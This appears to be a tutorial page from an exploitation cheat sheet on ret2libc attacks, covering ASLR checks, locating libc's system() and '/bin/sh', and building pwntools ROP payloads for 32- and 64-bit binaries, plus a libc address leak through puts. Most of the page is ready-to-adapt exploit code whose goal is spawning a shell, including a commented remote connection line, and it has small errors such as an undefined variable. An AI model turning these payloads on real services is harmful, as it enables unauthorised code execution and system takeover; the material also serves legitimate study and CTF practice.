Binary Exploitation with ret2libc
Last modified: 2023-08-14
ret2libc (return-to-libc) allows an attacker to redirect the program's flow of execution from the current function to a function in a shared library, sucy as libc, the standard C library. The goal of libc is to execute malicious code, such as shellcode, by calling the standard library functions, such as system() or execve().
Exploitation
1. ASLR Bypass
First check the ASLR in the machine.
cat /proc/sys/kernel/randomize_va_space
If we get "2" as the result, the machine randomizes the address space so we cannot find the address of the system function. That’s why we need to bypass ASLR to find the address of the function in libc.
To disable ASLR, run the following command if we can (because it requires sudo).
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
2. Find libc in the Binary
ldd ./example
# Result examples
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)
For instance, we found the libc.so.6 and the base address of libc is 0x00007ffff79e2000
.
3. Find the Location of libc
# -s: Display the symbols
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
# Result
1403: 000000000004f550 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
4. Find the Location of /bin/sh
# -a: All scan
# -t x: Print the location of the string in hex (x)
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
# Result
1b3e1a /bin/sh
5. Craft Payload
Replace the values of libc_base, system, binsh with the values which we found in the previous sections.
-
32-bit
from pwn import * p = process('./example') libc_base = 0xf7dc2000 system = libc_base + 0x4f550 binsh = libc_base + 0x1b3e1a payload = b'A' * 76 # The padding payload += p32(system) # Location of system payload += p32(0x0) # return pointer - not important once we get the shell payload += p32(binsh) # pointer to command: /bin/sh p.clean() p.sendline(payload) p.interactive()
-
64-bit
In 64-bit, we need to find the address of
pop rdi ; ret
.-
Get POP RDI using Pwntools
We can easily do that using
ROP
method of pwntools as below.rop = ROP(exe) POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] print("pop rdi: ", hex(POP_RDI))
-
Get POP RDI using ROPgadget
Alternatively, ROPgadget can be used.
ROPgadget --binary ./example | grep rdi # Result 0x00000000004007f3 : pop rdi ; ret
In some cases, we might need to the return address for paddings.
objdump -d ./example | grep ret # Result 400556: c3 retq
Finally our script is below:
from pwn import * p = process('./example') libc_base = 0x7ffff7de2000 system = libc_base + 0x4f550 binsh = libc_base + 0x1b3e1a rop = ROP(exe) POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] payload = b'A' * 72 # The padding # payload += p64(0x400556) # Extra paddings payload += p64(POP_RDI) # gadget -> pop rdi; ret payload += p64(binsh) # pointer to command: /bin/sh payload += p64(system) # Location of system payload += p64(0x0) # return pointer - not important once we get the shell # If we need to input in multiple prompts, # p.clean() # p.sendline("1") e.g. "Select the menu:" p.clean() p.sendline(payload) p.interactive()
-
6. Optional: Leaking libc Address
If we need to find libc
address dynamically, we may be able to leak the address by
exe = "./example"
elf = context.binary = ELF(exe)
libc = elf.libc
conn = process(elf)
# conn = remote("10.0.0.1", "1234")
# Find gadgets
rop = ROP(exe)
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
GOT_FUNC = elf.got['puts'] # e.g. desired function is `puts`
PLT_PUTS = elf.plt['puts']
SYM_FUNC = elf.sym['main'] # specific function name in which the payload is executed e.g. `main`.
padding = 0x12
# Send gadgets
payload = b"A" * padding
payload += p64(POP_RDI)
payload += p64(GOT_FUNC)
payload += p64(PLT_PUTS)
payload += p64(SYM_FUNC)
conn.sendlineafter(b">", payload)
# Extract leaked libc address
leaked_line = conn.recvline()
leaked_libc = unpack(leaked_line.ljust(8, '\x00'))
print("Leaked libc address: ", hex(leaked_libc))
# Get the system and /bin/sh addresses
libc_base = leaked_libc - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
# Send the final payload
payload = b"A" * padding
payload += p64(POP_RDI)
payload += p64(binsh)
payload += p64(system)
conn.sendlineafter(b">", payload)
conn.interactive()